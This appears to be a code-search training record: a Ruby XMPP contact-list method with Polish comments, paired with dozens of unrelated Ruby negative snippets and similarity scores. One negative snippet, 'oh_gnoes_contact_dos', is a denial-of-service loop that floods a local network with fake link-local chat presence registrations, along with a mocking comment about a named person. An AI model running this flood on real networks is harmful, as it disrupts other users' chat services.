"def oh_gnoes_contact_dos(status_msg = \"ekoC stronS reztleS yrraL\".reverse,\r\n firstname = 'Pwnies',\r\n lastname = 'Mgheetacek')\r\n \r\n available_status = [ \"avail\", \"away\" ]\r\n cur_status = available_status[rand(available_status.size)]\r\n\r\n # the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)\r\n keyset = { \"status\" => cur_status, # - presence availability of the user\r\n \"msg\" => status_msg, # - user's state\r\n \"vc\" => \"CUAV!\", # - user's ability for A/V conferencing\r\n \"1st\" => firstname, # - first name of the user\r\n \"last\" => lastname, # - last name of the user\r\n \"txtvers\" => \"1\", # - version of the TXT fields supported\r\n \"phsh\" => Digest::SHA1.hexdigest(rand(0xffffffff).to_s), # - fake SHA-1 hash of icon\r\n \"port.p2pj\" => \"1337\" # - Port for link-local communications\r\n # (ignored).\r\n }\r\n\r\n count = 0\r\n while true\r\n rand_str = \"3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL\".reverse\r\n (rand_str.length-1).downto(1) do |c|\r\n n = rand(c) + 1\r\n rand_str[c], rand_str[n] = rand_str[n], rand_str[c]\r\n end\r\n \r\n puts \"++ Registering presence #{count}\"\r\n # TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)\r\n dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)\r\n #sleep 40\r\n TMP_ARR << dos_handle\r\n count += 1\r\n end\r\nend",
"def rut; end",
"def wall(activity)\n commenter = activity.owner\n if activity.item.commentable.class.to_s == \"User\"\n user = activity.item.commentable\n if commenter == user\n \"自己\"\n elsif logged_in_user?(user)\n \"你\"\n else\n link_to(\"#{someones(user, commenter, false)}\",\n profile_path(user, :anchor => \"tWall\"))\n end\n elsif activity.item.commentable.class.to_s == \"Group\"\n group = activity.item.commentable\n link_to(\"#{someones(group, commenter, false)}\",\n group_path(group, :anchor => \"tWall\"))\n end\n end",
"def remove_from_roster\n item_fields = {:jid => jid.bare, :subscription => 'remove'}\n\n query = connection.iq_stanza({:type => 'set'},\n\t\t\t\tx('query',{:xmlns => Roster},\n\t\t\t\t\tx('item',item_fields)\n\t\t\t\t)\n\t\t\t)\n\n send_iq_stanza_fibered query\n end"
] |
[
"0.6264929",
"0.6264929",
"0.6248835",
"0.62232643",
"0.62232643",
"0.6133201",
"0.58422166",
"0.5624182",
"0.5583151",
"0.55669475",
"0.55112785",
"0.53524095",
"0.52914494",
"0.5251408",
"0.52164334",
"0.52110755",
"0.505188",
"0.50469893",
"0.50469893",
"0.50469893",
"0.50469893",
"0.50469893",
"0.5032113",
"0.5028908",
"0.49846408",
"0.49545473",
"0.4930567",
"0.48942038",
"0.48837566",
"0.48783508",
"0.48593673",
"0.48572087",
"0.4854543",
"0.48392147",
"0.48335546",
"0.48328903",
"0.4814277",
"0.48133704",
"0.4804271",
"0.47918257",
"0.47894996",
"0.4786796",
"0.47799936",
"0.47789282",
"0.47706312",
"0.4764594",
"0.47625315",
"0.4749466",
"0.47439107",
"0.47293618",
"0.47292522",
"0.47235507",
"0.47121423",
"0.47116902",
"0.4706937",
"0.46970174",
"0.46888295",
"0.46802348",
"0.46621612",
"0.46563163",
"0.46518213",
"0.4649124",
"0.46317643",
"0.46294942",
"0.46294188",
"0.46269122",
"0.46041316",
"0.45970175",
"0.45949802",
"0.45911202",
"0.45839393",
"0.45820695",
"0.45815378",
"0.458063",
"0.4574765",
"0.45741197",
"0.45709953",
"0.45708025",
"0.45681134",
"0.45642513",
"0.4558063",
"0.45537487",
"0.45420873",
"0.45334235",
"0.45321035",
"0.4525107",
"0.4518067",
"0.4518067",
"0.4515636",
"0.45123768",
"0.4497936",
"0.4497936",
"0.4495658",
"0.44882852",
"0.44862297",
"0.44862297",
"0.44858304",
"0.44796595",
"0.4459261",
"0.44586477"
] |
0.6358799
|
0
|
Metoda zwraca obiekt typu Kontakt z listy kontaktow. W przypadku braku kontaktu na liscie zostaje on dodany, a nastepnie wysylane jest do kontaktu zapytanie o autoryzacje
|
def kontakty(*kontakt)
@kontakty||={}
k=[]
kontakt.each do |kon|
jid=kon.to_s
unless @kontakty[jid]
@kontakty[jid]=kon.respond_to?(:autoryzacja) ? kon : Kontakt.new(self,kon)
end
yield @kontakty[jid] if block_given?
k << @kontakty[jid]
end
k.size > 1 ? k : k.first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def index\n @kundenkontos = Kundenkonto.all\n end",
"def index\n @konta = Kontum.all\n end",
"def liste()\n puts(\"LISTE DES ORDRES\\n\");\n printf(\"%8s %8s %5s %10s\\n\",\n \"ID\", \"DEBUT\", \"DUREE\", \"PRIX\")\n printf(\"%8s %8s %5s %10s\\n\",\n \"--------\", \"-------\", \"-----\", \"----------\")\n @listOrdre = @listOrdre.sort{ |a,b| a.debut <=> b.debut } \n @listOrdre.each { |ordre| afficherOrdre(ordre) }\n printf(\"%8s %8s %5s %10s\\n\",\n \"--------\", \"-------\", \"-----\", \"----------\");\n end",
"def set_listas\n #@locais = Local.all.map{|l| [l.nome,l.id]}\n @locais = Local.all\n @periodos = ['Manhã','Tarde','Noite']\n @publicos = ['Infantil','Adulto']\n end",
"def index\n @koszyks = Koszyk.all\n end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def list \n @@Ordenadores\n end",
"def wydajPrzesylkeKierowcy(kierowca)\n # wybor przesylki\n # przesylka = ...wybieramy jakas\n # usuniecie tej przesylki z @przesylki\n kierowca.push(przesylka) \n end",
"def index\n @kierownik = Kierownik.all\n end",
"def set_kontoumsatz\n @kontoumsatz = Kontoumsatz.find(params[:id])\n end",
"def solicitudes_atrasadas\n end",
"def set_listadeprecio\n @listadeprecio = current_user.empresa.listadeprecios.find(params[:id])\n end",
"def index\n @klienci_jaskulas = KlienciJaskula.all\n end",
"def prepara_form\n @enderecos = Endereco.order :rua\n end",
"def index\n @kullanicis = Kullanici.all\n end",
"def display_list(teampaks)\n i = -1\n @data.list = list = teampaks.map do |mem|\n i += 1\n creator = mem.creator.contact\n { \n \"mem_id\" => mem.mem_id,\n \"full_passport\" => mem.full_passport,\n \"mem_name\" => mem.mem_name,\n \"mem_schoolname\" => mem.mem_schoolname,\n \"coordinator\" => creator.con_name,\n \"con_city\" => creator.mail.add_city,\n \"con_zip\" => creator.mail.add_zip,\n \"reg_#{i}\" => mem.mem_region,\n \"i\" => i,\n }\n end\n\n common_display(list, false)\n end",
"def list_by_nome(nome)\n params = Hash.new\n params[:nome] = nome\n self.list(params)\n end",
"def list_of_pvas\n super\n end",
"def index\n @topik_to_dosens = TopikToDosen.all\n end",
"def index\n @fornecedores = Fornecedor.order(\"nome\")\n end",
"def index\n @trennzeichen_liste = [\",\",\";\"]\n end",
"def set_koszyk\n @koszyk = Koszyk.find(params[:id])\n end",
"def index\n @laporan_guru_agama_katolik = LaporanGuruAgamaKatolik.order(\"created_at DESC\").page(params[:daftar_laporan_guru_agama_katolik_page]).per(6)\n end",
"def getListaTabla\n return ['form_cultivos','baciloscopia_forms','biopsias_forms','form_liquidos','form_chagas','form_malaria','form_leishmaniases','Tuberculosis','form_cancer_uterinos','form_anat_citologicas','Tuberculosis']\n end",
"def konversiMenit(menit) \n # =================================\n # Area Kode Kode di sini\n \n \n \n # =================================\n end",
"def lista\n @kontrahenci = Kontrahenci.find(params[:id])\n @faktury = Faktury.where(:kontrahenci_id => @kontrahenci.id)\n if @faktury.nil? then\n @faktury = []\n end\n @obroty = Obroty.where(:kontrahenci_id => @kontrahenci.id).last(6)\n if @obroty.nil? then\n @obroty = []\n end\n @osoby = OsobaKont.where(:kontrahenci_id => @kontrahenci.id)\n if @osoby.nil? then\n @osoby = []\n end\n \n @inf_dodatka_kontr = InfDodatkaKontr.where(:kontrahenci_id => @kontrahenci.id)\n if @inf_dodatka_kontr.nil? then\n @inf_dodatka_kontr = []\n end\n \n @odmowa_mark = OdmowaMark.where(:kontrahenci_id => @kontrahenci.id)\n if @odmowa_mark.nil? then\n @odmowa_mark = []\n end\n \n ktory= @kontrahenci.id\n m1=1.month.ago.month\n y1=1.month.ago.year\n m2=2.month.ago.month\n y2=2.month.ago.year\n m3=3.month.ago.month\n y3=3.month.ago.year\n \n @saldo1= Obroty.where({ kontrahenci_id: ktory, rok: y1, miesiac: m1 }).take\n @saldo2= Obroty.where({ kontrahenci_id: ktory, rok: y2, miesiac: m2 }).take\n @saldo3= Obroty.where({ kontrahenci_id: ktory, rok: y3, miesiac: m3 }).take\n \n \n if @saldo1.nil?\n @suma1=0\n else \n @suma1=@saldo1['kwota'].to_f\n end\n if @saldo2.nil?\n @suma2=0\n else\n @suma2 = @saldo2['kwota'].to_f\n end\n if @saldo2.nil?\n @suma3=0\n else\n @suma3= @saldo3['kwota'].to_f\n end\n @suma= @suma1 + @suma2 + @suma3\n end",
"def index\n @kegiatans = Kegiatan.all\n end",
"def index\n @kontakties = Kontakty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @kontakties }\n end\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def koszyk_params\n params.require(:koszyk).permit(:liczba_sztuk)\n end",
"def index\n @mk_puntuacions = MkPuntuacio.all\n end",
"def kont_klient_params\n params.require(:kont_klient).permit(:kontrahenci_id, :opiekun_id, :data, :typ_spotkania_id, :cel_kontaktu_id, :raport, :inf_dodat)\n end",
"def tecnicos_postulados\n coleccion = []\n self.request.each do |request|\n info = {}\n info[:id] = request.id\n info[:article] = request.article\n info[:servicio] = request.service.description\n info[:tecnicos] = request.proposal\n coleccion.append(info)\n end\n coleccion\n end",
"def ordered_list; end",
"def index\n @tipos_distribuciones = TipoDistribucion.all.order('descripcion ASC')\n end",
"def index\n # @usuarios = @topico.perguntas.usuarios\n end",
"def zuruecksetzen()\n end",
"def set_klienci_jaskula\n @klienci_jaskula = KlienciJaskula.find(params[:id])\n end",
"def index\n @opiskelijas = Opiskelija.order(:aika_id)\n end",
"def set_kundenkonto\n @kundenkonto = Kundenkonto.find(params[:id])\n end",
"def lista(contatos)\n\tfor i in 0..contatos.size-1\n\t\tputs (\"#{i+1}. #{contatos[i].nome}\")\n\t\ti = i + 1\n\tend\nend",
"def index\n @putniks = Putnik.all\n end",
"def set_listacorreo\n @listacorreo = Listacorreo.find(params[:id])\n end",
"def index\n @zaduzenjas = Zaduzenja.all\n end",
"def set_cetak_blok\n @cetak_blok = CetakBlok.find(params[:id])\n end",
"def editable_list \n @translations = Translation.paginate(:page => params[:page], :per_page=>25) \n #puts \"@translations: \" + @translations.first.dot_key_code\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @translations }\n end\n end",
"def initialize \n @rechnungen = []\n end",
"def index\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n end",
"def set_kullanici\n @kullanici = Kullanici.find(params[:id])\n end",
"def PodstawAn(ans) \n @RownanieWielomianu.each{ |wezel| \n if(ans.key?(wezel.Wspolczynnik))\n wezel.Wspolczynnik = ans[wezel.Wspolczynnik]\n end\n }\n end",
"def set_lista_desejo\n @lista_desejo = ListaDesejo.find(params[:id])\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"def set_tlcp_rueba_list\n @tlcp_rueba_list = TlcpRuebaList.find(params[:id])\n end",
"def initialize\n @rechnungen = []\n end",
"def initialize\n @rechnungen = []\n end",
"def plany_zajec\n PlanZajec.where(\"ogloszenie_id = ?\", self.id)\n end",
"def index\n if session[:kunde_id] == nil\n @buchungs = Buchung.all\n else\n @buchungs = Buchung.find(:all, :conditions => ['kunde_id = ?',session[:kunde_id]], :order =>\"anfangszeit ASC\") \n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @buchungs }\n end\n end",
"def adres_kontr_params\n params.require(:adres_kontr).permit(:kontrahenci_id, :typ_adresu_id, :kraj, :kod_pocztowy, :miasto, :skrytka, :ulica, :nr_budynku, :nr_lokalu)\n end",
"def index\n @tlcp_rueba_lists = TlcpRuebaList.all\n end",
"def set_list_form\n @states = [{\"name\":\"DISPONIBLE\"},{\"name\":\"OBSOLETO\"}]\n @hometowns = [{\"name\":\"PRODUCCION\"},{\"name\":\"SEGREGADO\"},{\"name\":\"INVENTARIO\"},{\"name\":\"DEVOLUCIONES\"},{\"name\":\"OTROS\"}]\n @dispositions = [{\"name\":\"SOBRANTES\"},{\"name\":\"MOLINO\"}]\n end",
"def notificaciones\n end",
"def show\n @lokasis = Rute.select(\"id_jalan\").uniq\n end",
"def show\n @tareapositivas = Tarea.where(listo: true)\n @tareas = Tarea.all\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def list\n super\n end",
"def listado_params\n params.require(:listado).permit(:asignatura_id, :estudiantes)\n end"
] |
[
"0.6471394",
"0.56709516",
"0.56614476",
"0.5647999",
"0.56242365",
"0.5610267",
"0.5609822",
"0.54511696",
"0.5446612",
"0.5434499",
"0.54209363",
"0.54035777",
"0.53784454",
"0.5358825",
"0.53025436",
"0.52908224",
"0.5285741",
"0.5260766",
"0.52448475",
"0.52410567",
"0.52363497",
"0.5231306",
"0.52284086",
"0.52264726",
"0.5220762",
"0.52206606",
"0.51968443",
"0.51967514",
"0.51945895",
"0.51945424",
"0.51942694",
"0.518776",
"0.5187751",
"0.518074",
"0.5169218",
"0.5168113",
"0.5167792",
"0.5161108",
"0.51605976",
"0.5150321",
"0.51340955",
"0.5115812",
"0.5114843",
"0.5112873",
"0.5111874",
"0.51043373",
"0.5103014",
"0.509805",
"0.5096124",
"0.5095654",
"0.50927526",
"0.5078884",
"0.50756526",
"0.5075303",
"0.50719184",
"0.50719184",
"0.5066296",
"0.5060148",
"0.5053103",
"0.50439334",
"0.5038314",
"0.5036355",
"0.5030394",
"0.502652",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5023198",
"0.5017072"
] |
0.6205067
|
1
|
Dodaje wiadomosc do kolejki oczekujacej na akceptacje aubskrypcji
|
def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)
wiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}
@wiadomosci_do_wyslania << wiad
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def wydajPrzesylkeKierowcy(kierowca)\n # wybor przesylki\n # przesylka = ...wybieramy jakas\n # usuniecie tej przesylki z @przesylki\n kierowca.push(przesylka) \n end",
"def ToCoStoiPrzyA()\n return @RownanieWielomianu.first.WspolczynnikPomocniczy\n end",
"def suivre; end",
"def PodstawAn(ans) \n @RownanieWielomianu.each{ |wezel| \n if(ans.key?(wezel.Wspolczynnik))\n wezel.Wspolczynnik = ans[wezel.Wspolczynnik]\n end\n }\n end",
"def zuruecksetzen()\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
"def topsman_periphacitis_urosteon()\n end",
"def solicitudes_atrasadas\n end",
"def wyslij(wiadomosc)\n\tproba=0\n\tbegin\n\t\tproba+=1\n\t\[email protected](wiadomosc)\n\trescue\n\t\tretry unless proba>3\n\tend\n end",
"def konversiMenit(menit) \n # =================================\n # Area Kode Kode di sini\n \n \n \n # =================================\n end",
"def test_kopieren()\n rp1_kopie = @rp1.kopieren()\n assert([email protected] && rp1_kopie.zaehler()== @rp1.zaehler(),\"Keine korrekte Kopie des Inhalt\")\n assert(!@rp1_kopie.equal?(@rp1), \"Keine Kopie: es wurde nur eine Referenz auf self erzeugt\")\n end",
"def aide2()\n indice = IndiceMoyen.create(@map)\n res = indice.envoyerIndice.indice.split(\"-\")\n\n x=res[0].to_i\n y=res[1].to_i\n if res[2]==\"0\"\n @map.putAt!(x,y,Case.create(2))\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\")\n else\n @map.putAt!(x,y,Case.create(1))\n @map.accessAt(x,y).color=1;\n changeImage(@buttonTab[x][y],\"../images/cases/noir.png\")\n end\n @timePress[x][y]+=1\n @timer.add(60)\n if @map.compare\n victoire()\n end\n end",
"def show\n #訪問\n @houmons = @kofu.houmons.all\n @houmon = @kofu.houmons.build\n \n #訪問回数の自動セット\n @houmon.houmon_su = @houmons.length + 1\n @houmon.build_tenko\n @houmon.build_zaitakufuzai\n \n #点検結果\n @tenkenkekka = @houmon.tenkenkekka\n if @tenkenkekka.nil?\n @tenkenkekka = @houmon.build_tenkenkekka\n end\n \n #問診\n @monshin = @tenkenkekka.monshin\n if @monshin.nil?\n @monshin = @tenkenkekka.build_monshin\n #契約種別が０１１ならば問診未実施理由自動登録\n if @kofu.keiyaku.keiyakushubetsu_code == \"011\"\n @monshin.jisshi_umu = 2 \n @monshin.mijisshi_riyu = \"街路灯\"\n end\n end\n \n #屋内\n @okunai = @tenkenkekka.okunai\n if @okunai.nil?\n @okunai = @tenkenkekka.build_okunai\n #契約種別が０１１ならば屋内未実施理由自動登録\n if @kofu.keiyaku.keiyakushubetsu_code == \"011\" \n @okunai.jisshi_umu = 2\n @okunai.mijisshi_riyu = \"街路灯\"\n end\n end\n #屋外\n @okugai = @tenkenkekka.okugai\n if @okugai.nil?\n @okugai = @tenkenkekka.build_okugai\n end\n #測定値\n @sokutei = @tenkenkekka.sokutei\n if @sokutei.nil?\n @sokutei = @tenkenkekka.build_sokutei\n end\n \n \n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def mi_carrera\n\n\tend",
"def nacti_data(data, pomer)\n poc_nactenych_klauzuli = 0 \n pole_radku = data.split(\"\\n\")\n \n pole_radku.each do |radek|\n if(radek[0]!=\"c\")then #preskakuji komentar\n pole_hodnot = radek.split(' ') # ulozim si hodnoty do pole\n \n case radek[0]\n \n when \"p\"\n #nacteni zakladniho nastaveni instance\n @pocet_promennych = pole_hodnot[2].to_i\n @pocet_klauzuli = pole_hodnot[3].to_i\n # pokud je nastaven pomer (tj. obtiznost instance)\n if((pomer!=-1)&&(@pocet_klauzuli>=@pocet_promennych.to_f*pomer))then\n @pocet_klauzuli = @pocet_promennych.to_f*pomer\n end\n \n when \"w\"\n #nacitani vahoveho vektoru\n citac = 1\n while(citac < pole_hodnot.length)do\n @pole_vah[citac-1] = pole_hodnot[citac].to_i\n citac +=1\n end\n\n # when \"%\" # pouze pro kontrolu\n #ukoncovaci znak\n # puts \"%\" \n \n else\n #nacitani klauzuli\n if(poc_nactenych_klauzuli<@pocet_klauzuli)then\n citac = 0\n while(citac < pole_hodnot.length-1)do\n if(@klauzule[poc_nactenych_klauzuli]==nil)then\n nove_pole = []\n @klauzule[poc_nactenych_klauzuli]= nove_pole\n end\n @klauzule[poc_nactenych_klauzuli][@klauzule[poc_nactenych_klauzuli].length] = pole_hodnot[citac].to_i\n citac +=1\n end\n poc_nactenych_klauzuli+=1\n end \n end\n end\n end \n end",
"def mostra_tudo\n apius.mostra_resumo\n apide.mostra_resumo\n apifr.mostra_resumo\n apimt.mostra_resumo\n apies.mostra_resumo\n apigm.mostra_resumo\n apibc.mostra_resumo\n end",
"def An()\n return @RownanieWielomianu.first.Wspolczynnik\n end",
"def anstatauKodo(teksto)\n\n trovoj = teksto.scan(/&(.*?);/)\n if trovoj == nil or trovoj.size <= 0 then return teksto end\n\n for i in 0..trovoj.size do\n \n\ttrov = trovoj[i].to_s[2..-3]\n if @literoj[trov] != nil\n\t teksto.sub!(\"&#{trov};\", @literoj[trov])\n\telse\n\t #puts \"Eraro! Ne trovis [#{trov}]\"\n\tend\n end\n\n teksto = CGI::unescapeHTML(teksto)\n return teksto\nend",
"def otrzymane_wiadomosci\n\twiadomosci=[]\n\twhile(!@kolejka_wiadomosci.empty?)\n\t\twiadomosc=@kolejka_wiadomosci.pop(true) rescue nil\n\t\tbreak if wiadomosc.nil?\n\t\twiadomosci << wiadomosc\n\t\tyield wiadomosc if block_given?\n\tend\n\twiadomosci\n end",
"def koszyk_params\n params.require(:koszyk).permit(:liczba_sztuk)\n end",
"def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\[email protected][a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\[email protected][a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\[email protected] \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\[email protected] \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def obchoduj\r\n @weapon.length.times do |i|\r\n puts \"#{i + 1}) Jmeno:#{@weapon[i].jmeno},Sila #{@weapon[i].sila}, cena:#{@weapon[i].cena}\"\r\n end\r\n puts \"Vyber si zbran k nakupu. Mas momentalne #{@valecnik.gold} zlatych. Pro ukonceni stiskni enter\"\r\n volba = gets.to_i\r\n while volba != 0\r\n if @valecnik.gold < @weapon[volba - 1].cena\r\n puts \"Na nakup #{@weapon[volba - 1].jmeno} nemas dostatek penez. Vyber si jinou zbran. Pro ukonceni obchodovani stiskni enter\"\r\n volba = gets.to_i\r\n else\r\n @valecnik.zbran = @weapon[volba - 1]\r\n @valecnik.gold -= @weapon[volba - 1].cena\r\n puts \"Koupil jsi #{@valecnik.zbran.jmeno}.\"\r\n break\r\n end\r\n end\r\n end",
"def test_basic_element\n\t\ta = @a.request(\"한국전쟁\")\n\t\tputs a.title\n\t\tputs a.total\n\tend",
"def plany_zajec\n PlanZajec.where(\"ogloszenie_id = ?\", self.id)\n end",
"def obchoduj\r\n @armor.length.times do |i|\r\n puts \"#{i + 1}) Jmeno:#{@armor[i].jmeno},Obrana: #{@armor[i].obrana}, cena:#{@armor[i].cena}\"\r\n end\r\n puts \"Vyber si zbran k nakupu. Mas momentalne #{@valecnik.gold} zlatych. Pro ukonceni stiskni enter\"\r\n volba = gets.to_i\r\n while volba != 0\r\n if @valecnik.gold < @armor[volba - 1].cena\r\n puts \"Na nakup #{@armor[volba - 1].jmeno} nemas dostatek penez. Vyber si jinou zbran. Pro ukonceni obchodovani stiskni enter\"\r\n volba = gets.to_i\r\n else\r\n @valecnik.armor = @armor[volba - 1]\r\n @valecnik.gold -= @armor[volba - 1].cena\r\n puts \"Koupil jsi #{@valecnik.armor.jmeno}.\"\r\n break\r\n end\r\n end\r\n end",
"def naturalista_observaciones_service(proveedor)\n puts \"\\t\\tGenerando las observaicones de NaturaLista\"\n # Para las nuevas observaciones\n proveedor.kml_naturalista\n return unless proveedor.naturalista_kml.present?\n proveedor.kmz_naturalista\n puts \"\\t\\tCon KMZ naturalista\"\n end",
"def celebration; end",
"def vrat_soucet_vah(jedinec)\n soucet = 0\n citac = 0\n jedinec.each do |prvek| \n if(prvek)then\n soucet += @pole_vah[citac].to_i\n end\n citac +=1\n end\n return soucet\n end",
"def upc_e; end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def devolver_azucar \n\t\treturn @azucares\n\tend",
"def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend",
"def kcalglucidos\n\t\t\t@carbohidratos * 4\n\t\tend",
"def pracownik_params\n params.require(:pracownik).permit(:ID_pracownika, :ID_rodzajprac, :imie, :nazwisko, :pesel, :data_zatrudnienia, :zarobki, :aktywny, :password, :password_confirmation)\n end",
"def valorenergeticoKcal\n veKJ=(cgrasas * 9) + (cgrasassa * 9) + (grasasmono * 9) + (grasaspoli * 9) + (hcarbono * 4) + (polialcoholes * 2.4) + (almidon * 4) + (fibra * 2) + (proteinas * 4) + (sal * 6)\n veKJ.round(2)\n end",
"def stahnoutpdfko \n @pdfko = Vlozitpdf.find(:first, :conditions =>[\"hashString = ?\",params[:hashString]])\n @hostname = self.request.host\n\n if @pdfko.tisk && @pdfko.kopirovat\n @opravneni = 11\n elsif [email protected] && @pdfko.kopirovat\n @opravneni = 10\n elsif @pdfko.tisk && [email protected]\n @opravneni = 01\n else\n @opravneni = 00\n end \n\n @velikostPapiru = \"A4\"\n @soubor = @pdfko.soubor_file_name\n @footerText = @pdfko.paticka\n @username = fel_id[:user_id] \n\n if params[:is_free].present? \n if params[:is_free] == \"free\" \n if @pdfko.distribuce == \"Zdarma pro všechny\"\n if fel_id[:user_id].nil?\n @username = \"anonym\"\n end\n else\n logger.info \"Nepovoleno\"\n session[:hash_string] = @pdfko.hashString\n # přistupuje přes free adresu na dokument, který není určen pro stažení zdarma\n redirect_to :action => :nepovoleno\n return\n end\n else\n raise ActionController::RoutingError.new(\"Not Found\")\n end\n end\n\n if @pdfko.distribuce == \"Placeně\"\n logger.info \"placená distribuce\"\n paid = false\n if fel_id[:user_id].nil?\n session[:hash_string] = @pdfko.hashString\n # přistupuje přes free adresu na dokument, který není určen pro stažení zdarma\n redirect_to :action => :nepovoleno \n return\n else\n user = User.find_by_username(fel_id[:user_id])\n if user\n purchases = Purchase.where(\"user_id = ?\", user.id)\n end\n if !purchases.nil?\n logger.info \"uvnitř purchases\" \n purchases.each do |purchase| \n if purchase.pdf_id == @pdfko.id && !purchase.purchased_at.nil?\n logger.info \"paid true for #{@pdfko.id} and #{purchase.id}\"\n paid = true\n end\n end\n end\n end\n\n if paid == false\n session[:hash_string] = @pdfko.hashString\n session[:pdf_id] = @pdfko.id\n # přistupuje přes free adresu na dokument, který není určen pro stažení zdarma\n redirect_to :action => :nezaplaceno\n return\n end \n end\n\n pdf = Prawn::Document.generate(\"#{Rails.root}/tmp/pdf/tmp_#{@username}_#{@soubor}\", :page_size => @velikostPapiru, :page_layout => :portrait, :left_margin => 0, :right_margin => 0, :top_margin => 0, :bottom_margin => 0) do |pdf|\n pdf.font @@FONT\n \n #------------------------------------------------------------------------------------------------\n # VYPOCET A UMISTENI SIKMEHO VODOTISKU NA STRED STRANKY\n #------------------------------------------------------------------------------------------------\n _delkaTextu = pdf.width_of(@username, :size => @@VELIKOSTPISMAU)\n _vyskaTextu = @@VELIKOSTPISMAU\n page_width = pdf.bounds.bottom_right[0]\n page_height = pdf.bounds.top_left[1]\n \n _textXpozice = (page_width/2) - (_delkaTextu/2)\n _textYpozice = (page_height/2) - (_vyskaTextu/2)\n \n #---posun stredu po rotaci\n _uhloprickaPul = Math.sqrt(_delkaTextu * _delkaTextu + _vyskaTextu * _vyskaTextu) / 2\n\n _vertikalniPosun = Math.sin(@@UHEL) * _uhloprickaPul - (_vyskaTextu / 2)\n _finalYpozice = _textYpozice - _vertikalniPosun\n\n _horizontalniPosun = 